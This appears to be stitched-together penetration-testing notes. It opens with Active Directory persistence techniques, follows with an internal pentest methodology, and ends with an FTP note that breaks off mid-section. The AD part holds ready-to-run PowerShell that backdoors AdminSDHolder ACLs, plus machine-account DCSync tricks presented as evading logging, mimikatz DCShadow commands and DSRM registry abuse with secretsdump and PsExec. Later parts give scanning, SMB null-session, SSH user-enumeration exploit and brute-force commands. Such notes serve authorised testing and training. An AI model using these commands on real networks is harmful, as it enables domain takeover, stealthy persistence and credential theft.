$UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID
$AdminSDHolderACL = Get-ACL -Path $AdminSDHolder
# Adds the ACE GenericAll.
$ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow,
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_FullControl)
# Adds the ACE WriteProperty to the Member attribute.
$ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "bf9679c0-0de6-11d0-a285-00aa003049e2",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_WriteMember)
# Adds the ACE ExtendedRight's User-Force-Change-Password.
$ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "00299570-246d-11d0-a768-00aa006e0529",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_ResetPassword)
Set-Acl -Path $AdminSDHolder -AclObject $AdminSDHolderACL
```

The `PowerView`'s `Get-DomainObjectAcl` and `ActiveDirectory` PowerShell module's `Get-Acl` cmdlets can be used to validate the modification:

```
# Uses PowerView to enumerate the ACL of the AdminSDHolder object.
$UserSID = Get-DomainUser -Identity <SamAccountName | DistinguishedName | SID | GUID> | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID}

# Uses the PowerShell ActiveDirectory module to enumerate the ACL of the AdminSDHolder object.
# To enumerate ACL from a different domain (the AD drive to the current domain should automatically be mapped whenever importing the ActiveDirectory PowerShell module):
New-PSDrive -Name <AD | DRIVE_NAME> -PSProvider ActiveDirectory -Server '<DC_HOSTNAME | DC_IP>' -root "//RootDSE/" [-Credential <PSCredential>]
Get-Acl "<AD | DRIVE_NAME>:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" | Select-Object -ExpandProperty Access | ? IdentityReference -Match "<SAMACCOUNTNAME>"
```

### DRSUAPI replication operations (DCSync attack) rights

*Refer to the `[ActiveDirectory] ntds.dit dumping` note for tools and techniques to conduct replication operations (DCSync attack).*

**Minimal ACEs**

**Machine account with SERVER\_TRUST\_ACCOUNT**

A machine account that has its `UserAccountControl` attribute with the `SERVER_TRUST_ACCOUNT` (`0x2000` / `8192`) bit set is able to perform replication operations (`DCSync` attack) implicitly. The machine account will indeed be considered as a Domain Controller and be able to replicate AD objects with out the `Ds-Replication-Get-Changes` and `Ds-Replication-Get-Changes-All` extended rights.

The `DS-Install-Replica` extended right, on the domain root object, is required to set an account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit. This right is by default granted to the `Domain Admins`, `Administrators`, and `Enterprise Admins` groups. **Granting the `DS-Install-Replica` extended right to an otherwise unprivileged account may thus also be used as a mean of persistence.**

Whenever an machine account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the account will be set to `516` (`DOMAIN_GROUP_RID_CONTROLLERS`) and the account added to the group referenced by the previous `primaryGroupId` value. While the `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the machine account will not be modifiable (error: "Cannot change the primary group ID of a domain controller account").

As the machine account will considered as a Domain Controller, no Windows `Security` events `Event 4662: An operation was performed on an object` will be generated upon replication operations. For maximum stealthiness, it is possible to overpass-the-hash to mimic legitimate Domain Controller authentication. Doing so will generate Windows `Security` events `Event 4662: An account was successfully logged on` with the `Kerberos` (instead of `NTLM`) authentication package. Refer to the `[ActiveDirectory] Kerberos tickets usage` note for more information on the overpass-the-hash technique.

The PowerShell `ActiveDirectory` module's `New-ADComputer` and `Set-ADComputer` can be used to create a new machine account and set its `UserAccountControl` attribute.

```
# Creates a new machine account that will have the given password.
# The specified password must meet the password policy of the domain. The account will be created but disabled if the password does not meet the password policy.
New-ADComputer "<MACHINE_ACCOUNT_NAME>" -AccountPassword (ConvertTo-SecureString -AsPlainText -Force "<MACHINE_ACCOUNT_PASSWORD>")

# Set the specified machine account UserAccountControl attribute's
SERVER_TRUST_ACCOUNT bit.
Set-ADComputer "<MACHINE_ACCOUNT_NAME>" -Replace @{"UserAccountControl" = 0x2000}

# Retrives the specified machine account UserAccountControl attribute.
Get-ADComputer "<MACHINE_ACCOUNT_NAME>" -Properties UserAccountControl
```

### DCShadow

**DCShadow minimal ACE**

The following access rights are sufficient to conduct a `DCShadow` attack (without the need of being part of a privileged group such as `Domain Admins`):

* `DS-Install-Replica` (right's GUID: `9923a32a-3607-11d2-b9be-0000f87a36b2`)
* `DS-Replication-Manage-Topology` (right's GUID: `1131f6ac-9c07-11d1-f79f-00c04fc2dcd2`)
* `DS-Replication-Synchronize` (right's GUID: `1131f6ab-9c07-11d1-f79f-00c04fc2dcd2`)

**DCShadow realisation**

Make sure that the local Firewall policy allows inbound connection on the dynamic TCP ports range.

```
# Two mimikatz interpreters are required for the DCShadow attack (as implemented by mimikatz).
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# The first interpreter must be executed as "NT AUTHORITY\SYSTEM" and will be used to define the modification.
# PsExec can be used to elevate from local Administrator to "NT AUTHORITY\SYSTEM":
PsExec64.exe -accepteula -s -i cmd.exe
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:PrimaryGroupID /value=<512 | 519 | GROUP_RID>

# The second interpreter must be executed as a domain user with enough privileges to conducted the DCShadow attack (by default a member of the "Domain Admins" group).
# runas can be used to execute a process under the identity of the specified account for remote access only:
runas /NetOnly /user:<DOMAIN>\<USERNAME> cmd.exe
mimikatz # lsadump::dcshadow /push
```

### Directory Services Restore Mode account

The `Directory Services Restore Mode (DSRM)` account correspond to the local built-in `Administrator` (username language dependent name, `SID` `S-1-5-21-<DC_SPECIFIC>-500`) of a Domain Controller. The `DRSM` account password is specific to each Domain Controller and is setup during the Domain Controller promulgation. The `DRSM` accounts are local to each Domain Controller and have no link with the built-in `Administrator` (`SID` `S-1-5-21-<DOMAIN>-500`) of the domain.

Note that since `Windows Server 2008` (`KB961320`), the `DSRM` account password can be one-time synchronized with a domain account (further synchronization are however not automated and must be done manually).

The usage of the `DSRM` account is controlled by the `DsrmAdminLogonBehavior` registry key:

| Value                                                 | Description                                                                                                                                                                                           |
| ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><code>0x0</code><br><br><code>Undefined</code></p> | <p>The <code>DSRM</code> account can only be used if the Domain Controller is booted in <code>DSRM</code>.<br><br><code>bcdedit /set safeboot dsrepair</code><br><code>shutdown /r /f /t 5</code></p> |
| `0x1`                                                 | The `DSRM` account can login on the Domain Controller if the `Active Directory Domain Service (AD DS)` of the Domain Controller are (locally) stopped.                                                |
| `0x2`                                                 | The `DSRM` account can login with out any restriction.                                                                                                                                                |

By default, the `DsrmAdminLogonBehavior` key is undefined (and thus the `DSRM` account can only be used to connect to the Domain Controller if it has been restarted in `DSRM`).

To maintain persistence after a compromise of an Active Directory domain, the local built-in `Administrator` password of a Domain Controller can be retrieved (or set) and the `DsrmAdminLogonBehavior` of the Domain Controller set to `0x2`. The `DSRM` account will be usable over the network even if the Domain Controller is not started in `DSRM` and persistence maintained until its password is renewed. In this scenario, the `DSRM` account can notably be used to remotely connect to the Domain Controller or conduct replication operations (`DCSync` attack).

The following commands can be used to retrieve and set the value of the `DsrmAdminLogonBehavior` registry key (on a Domain Controller):

```
# Retrieves the current value of the DsrmAdminLogonBehavior registry key.
reg query "HKLM\System\CurrentControlSet\Control\Lsa\" /v "DsrmAdminLogonBehavior"
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -Name "DsrmAdminLogonBehavior"

# Creates and sets the value of the DsrmAdminLogonBehavior registry key to the specified value.
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>"
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -PropertyType DWORD -Value <2 | VALUE>

# Overrides the value of the DsrmAdminLogonBehavior registry key to the specified value (if the key already exists).
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value "<2 | VALUE>"
```

The following techniques can be used to retrieve or set the `DRSM` account password:

```
# Remote extraction of the DRSM account (full dump of the local accounts stored in the SAM registry hive).
# For more information and techniques on how to retrieve the local Administrator NTLM hash from the SAM database, refer to the "[Windows] Post Exploitation" note.
secretsdump.py '<DOMAIN>/<USERNAME>[:<PASSWORD>]@<DC_HOSTNAME | DC_IP>'

# While not recommended from an opsec standpoint, the DRSM account password can also be reset (with out requiring knowledge of the current password).
ntdsutil
> set dsrm password
# "null" if the commands are executed locally on the Domain Controller of which the DRSM account password should be updated, its hostname otherwise.
> reset password on server <null | DC_HOSTNAME>
> <NEW_DRSM_PASSWORD>
> <NEW_DRSM_PASSWORD>
```

If the `DsrmAdminLogonBehavior` key of the targeted Domain Controller is set to `0x2`, remote code execution or replication operations can be conducted using the `DRSM` account:

```
# Refer to the "[ActiveDirectory] ntds.dit dumping" for more techniques to extract the secrets from the ntds.dit database.
secretsdump.py '<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>:<DSRM_PASSWORD>@<DC_HOSTNAME | DC_IP>'
secretsdump.py -hashes <:DSRM_NTLM_HASH> '<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>@<DC_HOSTNAME | DC_IP>'

# The DRSM account can be used through any authentication types (network logon, remote interactive logon, etc.).
# Refer to the "[Windows] Lateral movements" note for more techniques to remotely execute code on the targeted Domain Controller (through PsExec-like tools, WMI, WinRM, RDP, etc.).
PsExec.exe -accepteula \\<DC_HOSTNAME | DC_IP> -u "<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>" -p "<DRSM_PASSWORD>" -s <cmd.exe | %ComSpec% | powershell.exe>
```

### Kerberos delegations

### Certificates (`User-Principal-Name` or `Alt-Security-Identities`)

### Skeleton key

### Domain Controller local persistence

***

### References

<https://adsecurity.org/?p=1714> <https://adsecurity.org/?p=1785> <https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#primary\\_group\\_id\\_1000> <https://blog.alsid.eu/dcshadow-explained-4510f52fc19d> <https://www.alsid.com/2020/07/14/primary-group-id-attack/> <https://www.youtube.com/watch?v=6thBskwsOss> <http://www.labofapenetrationtester.com/2018/04/dcshadow.html> <https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory> <https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1> <https://stealthbits.com/blog/server-untrust-account/>


# Methodology

### Overview

Internal pentesting simulates an insider attack starting from a point within the internal network.

The present note does not address Active Directory pentesting. While part of the methodology detailed in this note can be applied for an Active Directory security audit, specific tools and techniques make the overall approach completely different.

After enumerating accessible hosts and their exposed services, the first step in an internal penetration test is to look for the path of least resistance, aka the low hanging fruits that can easily be detected and exploited (unpatched systems, default or guessable passwords, etc.).

The following methodology makes use of several automated tools and is thus not directly implacable to the OSCP exam.

**Notable tools used in this methodology**

| Name                                                                            | Description                                                                                                         | Link                                                                                      |
| ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- |
| `Aquatone`                                                                      | Tool to validates and screenshot websites written in `Go`.                                                          | <https://github.com/michenriksen/aquatone>                                                |
| `ffuf`                                                                          | Web fuzzer written in `Go` that can be used for directory bruteforcing.                                             | <https://github.com/ffuf/ffuf>                                                            |
| `Interlace`                                                                     | Python utility to use single threaded command line applications in parallel and with `CIDR` support.                | <https://github.com/codingo/Interlace>                                                    |
| `masscan`                                                                       | Fast asynchronous and stateless network port scanner written in `C`.                                                | <https://github.com/robertdavidgraham/masscan>                                            |
| `metasploit`                                                                    | Offensive framework notably used for vulnerability detection and exploitation.                                      | <https://github.com/rapid7/metasploit-framework>                                          |
| `Nessus`                                                                        | Proprietary automated vulnerabilities scanner.                                                                      | <https://www.tenable.com/products/nessus>                                                 |
| `nmap`                                                                          | Network ports and services scanner.                                                                                 | <https://nmap.org/download.html>                                                          |
| `nmap-parse-output`                                                             | Bash script to parse and extract information from `nmap` output.                                                    | <https://github.com/ernw/nmap-parse-output>                                               |
| `NmaptoCSV`                                                                     | Python script to convert `nmap` output to CSV.                                                                      | <https://github.com/maaaaz/nmaptocsv>                                                     |
| `patator`                                                                       | Python login brute-forcer ang fuzzer.                                                                               | <https://github.com/lanjelot/patator>                                                     |
| `Remote Server Administration Tools (RSAT)` PowerShell `ActiveDirectory` module | PowerShell cmdlets to extract AD information if an account is provided.                                             | <https://www.microsoft.com/en-us/download/details.aspx?id=45520>                          |
| `RustScan`                                                                      | Fast network port scanner written in `Rust`.                                                                        | <https://github.com/RustScan/RustScan>                                                    |
| `SecLists`                                                                      | Collection of multiple types of lists (directory wordlists, usernames and passwords wordlists, etc.).               | <https://github.com/danielmiessler/SecLists>                                              |
| `Sn1per Community Edition`                                                      | Opensource automated vulnerabilities scanner.                                                                       | <https://github.com/1N3/Sn1per>                                                           |
| `sshUsernameEnumExploit.py`                                                     | Python script to enumerate local users through `OpenSSH` services vulnerable to the `CVE-2018-15473` vulnerability. | <https://github.com/Rhynorater/CVE-2018-15473-Exploit>                                    |
| <p><code>testssl</code><br><br><code>sslscan2</code></p>                        | Tools to enumerate the supported ciphers and presence of cryptographic flaws of `SSL` / `TLS` services.             | <p><https://github.com/drwetter/testssl.sh><br><br><https://github.com/rbsec/sslscan></p> |
| `WhatWeb`                                                                       | Tool to identify technological components, including content management systems, of web applications.               | <https://github.com/urbanadventurer/WhatWeb>                                              |

### 0. Hosts enumeration through Active Directory

**AD enrolled systems enumeration**

If an AD account is provided for the internal penetration test, AD queries can be used to quickly enumerate th (most-likely Windows) systems.

Note that the IP retrieved may not be up to date or may even correspond to an non accessible IP form another network interface.

```
Get-ADComputer -Filter * -Property IPv4Address | Export-CSV <FILENAME>.csv -NoTypeInformation -Encoding UTF8

# Identify obsolete Windows operating systems in use.
Get-ADComputer -Filter {Enabled -eq "True"} -Properties OperatingSystem | ? { $_.OperatingSystem -Match "Windows NT|Windows 2000 Server|Windows Server 2003|Windows Server 2008|Windows XP|Windows 7"} | Sort OperatingSystem | Ft DNSHostName, OperatingSystem

# Identify servers if a certain naming convention is respected, for example servers name's starting with a "S" and computer with a "P".
Get-ADComputer -Filter "Name -like 'S*'" -Property IPv4Address

# Specific search for known services.
Get-ADComputer -Filter "Name -like '*MSSQL*'" -Property IPv4Address
Get-ADComputer -Filter "Name -like '*TOMCAT*'" -Property IPv4Address
```

**DNS hostnames resolution from target file**

To resolve a list of DNS hostnames the following commands can be used:

```
hostnames=<HOSTNAMES_FILE>
nmap -T5 -sL -n -oN hostnames_resolved.nmap -iL $hostnames
cat hostnames_resolved.nmap | grep "scan report" | cut --output-delimiter=',' -d ' ' -f '5,6' | tr -d '()' > hosts.csv && rm hostnames_resolved.nmap
cut -d ',' -f 2 hosts.csv > IP.txt
```

### 1. Ports and services scan

For more details on techniques and tools to conduct ports and services scan, refer to the `[General] Ports scan` note.

Command that may require a long execution time, can be started using the `nohup` utility. `nohup` will start a process that remain active even after the user that launched it logged out: `nohup <COMMAND> &`.

**Ping sweep**

`nmap` can be used to identify live hosts through a "ping sweep":

* `ARP` ping for hosts on the same local subnet.
* `ICMP` `echo` requests and `TCP` probes on ports 80 and 443 otherwise.

While a "ping sweep" can be used to quickly identify live hosts, it will miss any targets outside of the local subnet that do not answer to ping or do not expose services on the `TCP` 80 / 443 ports.

```
nmap -v -sn -T4 -oG <OUTPUT_NMAP_GNMAP> [<RANGE | CIDR> | -iL <INPUT_FILE>]

grep "Status: Up" <OUTPUT_NMAP_GNMAP> | cut -f 2 -d ' ' > <OUTPUT_IP_FILE>
```

**Asynchronous fast ports scan**

`Masscan` or `RustScan` can be used to conduct fast asynchronous and stateless ports scan on targets supporting high inbound network bandwidth. `masscan` / `RustScan`'s ports scan speed can be combined with `nmap`'s services detection probes to rapidly conduct a large network ports and services scan.

Note however that the trade-off for the speed achieved using `masscan` / `RustScan` is less precision, and potentially missed open ports.

```
# From file
masscan -i <INTERFACE> --rate 10000 --open -p 1-65535 -iL <INPUT_IP_FILE> > <RAW_MASSCAN_OUTPUT>

# Using CIDR or IP range
masscan -i <INTERFACE> --rate 10000 --open -p 1-65535 <CIDR | RANGE> > <RAW_MASSCAN_OUTPUT>
```

**Nmap limited ports scan**

Against unresponsive hosts, or for better overall precision, `nmap` can be used directly to scan for open ports. As `nmap` is significantly slower than the aforementioned ports scanners, only a limited range of ports should be probed (by default the `TCP` top 1000 ports).

```
# The ports scan can be mutualized with a service -sV and default script -sC scan.

nmap -v -Pn [-sT] [-sV -sC] --min-hostgroup 128 --host-timeout 3600s -oA <OUTPUT_FILES> -iL <INPUT_IP_FILE>
```

**Nmap services scan**

Once the open ports are enumerated, `nmap` can be used to conduct a services scan to more precisely identify exposed services and conduct banner probing / versions identification.

`nmap` does not currently provide a way to scan specific host/port combinations, which grandly limit the chaining possibility between ports scan outputs and services scans. A GitHub issue is open and an external patch is being reviewed: [GitHub issue](https://github.com/nmap/nmap/issues/1217) and [Nmap Development mailing list](https://seclists.org/nmap-dev/2019/q2/2).

*Full ports and services scan from IPs / range / CIDR input file*

The following command will instruct `nmap` to conduct a full ports scan (`-p-`) on every host, without first trying to detect live hosts using a probing requests (`-Pn`).

```
nmap -v -Pn [-sT] -p- -sV -sC --min-hostgroup 64 --host-timeout 3600s -oA <OUTPUT_FILES> -iL <INPUT_IP_FILE>
```

*From masscan output*

The currently optimized approach is to conduct a service scan on all ports identified as open on at least one host.

```
ports=$(cut -d ' ' -f 4 <RAW_MASSCAN_OUTPUT> | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

# IP & range.
IP="<IP>" && SUB="<MASK>"
nmap -v -Pn -sV -sC -oA "$IP-$SUB-TCP" -p $ports "$IP/$SUB"

# From file.
nmap -v -Pn -sV -sC -oA "<OUTPUTNAME>" -p $ports -iL <FILENAME>
```

**nmap output parsing**

*NmaptoCSV*

The `NmaptoCSV` Python script can be used to convert `nmap` output to the `CSV` format. The produced CSV file can be loaded in a graphical CSV reader (such as `Excel`) for an easier analysis of `nmap` scan results.

```
nmaptocsv [-d ","] -i <NMAP_REGULAR_OUPUT | NMAP_GNMAP_OUTPUT> -o <CSV_OUTPUT>

nmaptocsv [-d ","] -x <NMAP_XML_OUPUT> -o <CSV_OUTPUT>
```

*nmap-parse-output*

The `nmap-parse-output` bash script can be used to parse and extract information from `nmap` results (in the `xml` format). It will be used extensively in this note to extract hosts exposing certain services.

```
# Extract hosts with the specified service exposed, in the following format: "<IP>:<PORT>".
nmap-parse-output <NMAP_XML_SCAN_RESULT> service <SERVICE_NAME>
```

*Sort file by IP order*

The following one-liner can be used to sort a list of IP addresses, or any file in which each line starts by an IP:

```
sort -t . -k 3,3n -k 4,4n <INPUT_FILE>
```

### 2. Automated vulnerabilities discovery

**Tenable Nessus**

`Nessus` is a proprietary automated vulnerability scanner. It can be used to scan for vulnerabilities, various misconfigurations, and empty / default passwords on common services.

Depending, on the number of hosts to scan, `Nessus` can be instructed to conduct a full ports scan and / or limit its scan for vulnerabilities that could result in remote code execution.

```
# Transforms a list of servers hostnames / IPs into a comma separated list.
sed ':a;N;$!ba;s/\n/ /g' <INPUT_FILE>

# Instructs Nessus to scan all 0-65535 ports.
Settings -> Discovery -> Scan type -> Port scan (all ports)

# Instructs Nessus to limit scan for RCE vulnerabilities.
Plugins -> Only keep "Backdoors", "Gain a shell remotely" and "Service detection" enabled.
```

**Sn1per Community Edition**

Alternatively or in addition, the `Sn1per Community Edition` automated scanner can be used as well.

The `NUKE` mode will launch a full audit of multiple hosts specified in text file including:

* full ports scan.
* sub-domains brute force and `DNS` zone transfers.
* anonymous `FTP` / `LDAP` access, `SMB` NULL sessions and `SNMP` community strings.
* Web scan using `WPScan`, `Arachni` and `Nikto` for all detected web services.

```
sniper --update
sniper -f <TARGETS_FILE> nuke
```

### 3. SMB services enumeration and analysis

Multiple known vulnerabilities affect the `SMB` protocol, that could allow if unpatched unauthenticated remote code execution.

Additionally, `SMB` network shares could be accessible to unauthenticated users (`Anonymous` or `Guest` access). If an Active Directory account was provided, or could be compromised, refer to the `[ActiveDirectory] GPP and shares searching` note for techniques and tools for authenticated shares enumeration and searches.

**SMB RCE vulnerabilities**

`Nmap` and `metasploit` can be used to detect vulnerability on exposed `SMB` services. It is recommended to combine both tools to minimize the number of false-negatives.

For vulnerability exploitation, refer to the `[L7] SMB - Methodology` note.

```
# If necessary, extracts the hosts exposing a service on port 445 from a nmap's gnmap output.
grep -w '445/open' <NMAP_GNMAP_OUTPUT> | cut -d ' ' -f 2 | tee <OUTPUT_HOSTS_SMB>

nmap -v -Pn -n -sT -p 139,445 -sV --script=vuln -oA <OUTPUT_HOSTS_SMB_VULN> -iL <INPUT_HOSTS>

msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; [set SMBUser <USERNAME>; set SMBPass <PASSWORD>;] set RHOSTS file:<INPUT_HOSTS>; run"
```

**Null session and guest access to shares**

`smbmap` can be used to attempt to list the accessible shares on the hosts exposing an `SMB` services. If any share is found to be accessible, refer to the `[L7] SMB - Methodology` for techniques and tooling to search and retrieve sensible content in the shares.

```
# Unauthenticated access attempt.
smbmap --host-file <INPUT_HOSTS>

# Access attempt using the built-in Guest account (RID 501).
smbmap -u "Guest" --host-file <INPUT_HOSTS>
smbmap -u "Invité" --host-file <INPUT_HOSTS>

# Access attempt using the given credentials.
smbmap [-d <WORKGROUP | DOMAIN>] -u <USERNAME>] [-p <PASSWORD | NTLM_HASH>]
```

**Null session enumeration attempts**

`enum4linux-ng` can be used to attempt in an unauthenticated manner to retrieve information, in addition to exposed shares, such as local users, groups, password policy information, etc. For more information, refer to the `[L7] MSRPC` note.

`Interlace` is used in combination with `enum4linux-ng` to manage multi-threading and parameterize output.

```
# Command to instruct interlace to execute enum4linux-ng, to place in a file.
enum4linux-ng -A -R _target_ > _output_/_cleantarget_-enum4linux-ng.txt

interlace -tL <INPUT_SMB_HOSTS> -o <OUTPUT_FOLDER> -cL <ENUM4LINUX_COMMAND_FILE>
```

***

### X. HTTP / HTTPS services enumeration and analysis

**URL extraction from nmap scan results**

`nmap-parse-output` can extract hosts with an exposed http service from `nmap`'s `XML` output, in the following format: `<http | https>://<IP>:<PORT>`.

The following services are identified as being http services: `http`, `https`, `http-alt`, `https-alt`, `http-proxy`, `sip`, `rtsp`, `soap`, `vnc-http`, and `caldav`.

```
nmap-parse-output <NMAP_XML_OUPUT> http-ports | tee <OUTPUT_HOSTS_HTTP>
```

**URL validation and screenshotting**

Using the extracted list of URLs as input, `aquatone` can be used to validate the URL and screenshot the accessible web applications.

`Aquatone` produces a report in the `HTML` format that embeds the screenshots, web page title, and headers enumerated. Web applications are grouped by similarities for easier visualization and analysis.

```
cat <INPUT_URLS> | aquatone <OUTPUT_DIR>
```

**Web technologies identification**

`WhatWeb` can be used to identify the various technological components used by the web applications exposed on the URL validated by `aquatone`.

`Interlace` is used in combination with `WhatWeb` to manage multi-threading and parameterize output.

```
# Command to instruct interlace to execute WhatWeb, to place in a file.
whatweb --aggression=3 _target_ > _output_/_cleantarget_-whatweb.txt

interlace -tL <INPUT_HTTPS_URLS> -o <OUTPUT_FOLDER> -cL <WHATWEB_COMMAND_FILE>
```

**Files / directory bruteforcing**

`ffuf` can be used to directories and files names on URL validated by `aquatone`. The files / directories wordlist size should be adapted to the number of URL to bruteforce and the network responsiveness.

A combination of wordlists, picked based on the technological components identified by `WhatWeb`, from `SecLists` may be used.

```
ffuf -w "<INPUT_URLS>:URLS" -w <DIRECTORY_WL> -u URLS/FUZZ -of csv -o <OUTPUT_FILE>
```

**SSL / TLS configuration analysis**

`testssl` and `sslscan2` can be used to review the `SSL` / `TLS` configuration (supported protocols and cyphers, certificates audit, etc.) of `HTTPS` services.

`Interlace` is used in combination with `sslscan` and `testssl` to introduce multi-threading and parameterize outputs.

```
# Commands to instruct interlace to execute sslscan and testssl.sh, to place in a file.
sslscan _target_ > _output_/_cleantarget_-sslscan.txt
testssl.sh _target_ > _output_/_cleantarget_-testssl.txt

interlace -tL <INPUT_HTTPS_URLS> -o <OUTPUT_FOLDER> -cL <SSL_COMMANDS_FILE>
```

**Vulnerabilities / misconfigurations scans with nuclei**

[`nuclei`](https://github.com/projectdiscovery/nuclei) is a template based scanner that can be used to discover vulnerabilities or misconfigurations on web services.

```
nohup ./nuclei -list <URLS_FILE> -severity critical,high -irr -markdown-export nuclei_reports.md -metrics &
```

***

### X. Credentials bruteforcing

**Usernames and passwords wordlist**

**SSH user enumeration**

The `sshUsernameEnumExploit.py` Python script can be used to enumerate local users against `OpenSSH` services, under `OpenSSH 7.7`, which are vulnerable to oracle username enumeration (`CVE-2018-15473`).

```
# Commands to instruct interlace to execute sshUsernameEnumExploit, to place in a file.
python3 sshUsernameEnumExploit.py [--username <USERNAME> | --userList <USERNAMES_FILE> _target_ > _output_/_cleantarget_-ssh-enum.txt

interlace -tL <INPUT_SSH_HOSTS> -o <OUTPUT_FOLDER> -cL <SSH_COMMANDS_FILE>
```

**Common services login bruteforce**

| Service                                              | Default port                  | Specific username(s)                      | Specific password(s)                  | Command                                                                                                                                                      |
| ---------------------------------------------------- | ----------------------------- | ----------------------------------------- | ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `FTP`                                                | TCP 21                        | anonymous                                 |                                       |                                                                                                                                                              |
| `SSH`                                                | TCP 22                        |                                           |                                       |                                                                                                                                                              |
| <p><code>rexec</code><br><br><code>rlogin</code></p> | <p>TCP 512<br><br>TCP 513</p> |                                           |                                       |                                                                                                                                                              |
| `MSSQL`                                              | TCP 1433                      | sa                                        | sa                                    | `patator mssql_login host=FILE0 user=FILE1 password=FILE2 0="<INPUT_HOSTS>" 1=<WORDLIST_USER> 2=<WORDLIST_PASSWORD> -x ignore:fgrep='Login failed for user'` |
| `Tomcat`                                             | NA                            | <p>tomcat<br>manager<br>role<br>role1</p> | <p>tomcat<br>changethis<br>s3cret</p> |                                                                                                                                                              |


# 21 - FTP

### Overview

The `File Transfer Protocol (FTP)` protocol is a standard network protocol used for the transfer of files between a client and server on a network. The `FTP` protocol operates at the `Application Layer (L7)` layer of the `OSI` model.

`FTP` is built on a client-server model architecture and uses separate control and data connections between the client and the server. `FTP` users may authenticate themselves with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it.

For secure transmission that protect, through encryption using cryptographic protocols, the username and password as well as the data transferred, `FTP` is often secured with an additional `SSL`/`TLS` layer (`FTPS`). The technologically different `SSH File Transfer Protocol (SFTP)` protocol achieves the same purpose, by providing file access, transfer, and management capabilities over the `Secure Shell protocol (SSH)` protocol. `FTPS` is associated by default with the `TCP` port 990 while `SFTP`, a subsystem of `SSH`, is usually used over the `TCP` port 22.

For file transfers or directory listings, `FTP` opens additional `TCP` connections on dynamic ports. In active mode the client creates a local listener and let the server know about its IP and port combination using the `PORT` command and the server then connects to the clients port (usually from port 20 on the server side). In passive mode the server opens the port and let the client know where it listens in response to the clients `PASV` command.

### Network scan

[`nmap`](https://nmap.org/) can be used to discover open `FTP` service and conduct basic recon operations:

```
nmap -v -sT -A -p 21 <IP | RANGE | CIDR>
```

### Anonymous login

`FTP` services may allow anonymous connections with the `anonymous` or `ftp` accounts, i.e login that do not require the knowledge of a password to connect. Some `FTP` services may however parse the password to ensure it looks like a valid email address, so in doubt, it is recommended to always provide an email address as password whenever attempting an anonymous login.

`nmap`'s default `NSE` script scan (`-sC` option, included with `-A`) will attempt anonymous login on the discovered `FTP` services. To specifically scan the network for `FTP` services supporting anonymous login, the following command can be used:

```
nmap -v -p 21 -sV --script ftp-anon.nse <IP | RANGE | CIDR>

ftp <HOST | IP>
Name: anonymous
Password: fake@email.com
```

### Authentication brute force

The [patator](https://github.com/lanjelot/patator) Python multi-purpose brute-forcer can be used to brute force credentials on exposed `FTP` / `FTPS` services:

```
patator ftp_login host=<TARGET> user=FILE0 password=FILE1 0=<WORDLIST_USERS> 1=<WORDLIST_PASSWORDS> [tls=<0 | 1>]-x ignore:mesg='Login incorrect.' -x ignore:mesg='User cannot log in.' -x ignore,reset,retry:code=500
```

### FTP clients

**\[Linux | Windows] FTP Linux basic CLI client**

The Linux or Windows built-in `ftp` clients can be used to connect and interact with an `FTP` service.

```
# Connects to the specified FTP service.
ftp <HOSTNAME | IP>
ftp> open <HOSTNAME | IP>

# Lists the remote files.
ftp> dir
ftp> ls

# Changes the working directory on the remote system.
ftp> cd

# Changes the working directory on the local system.
ftp> lcd

# Sets the transfer mode to binary, which is required to maintain the integrity of non-ASCII files.
# Expected response: "# 200 Type set to I".
ftp> binary

# Toggles the interactive mode on and off, which can be used to avoid confirmation whenever using the mget or mput commands.
ftp> prompt

# Prints the specified file content without downloading the file locally.
ftp> get <REMOTE_FILE> -

# Downloads the specified file.
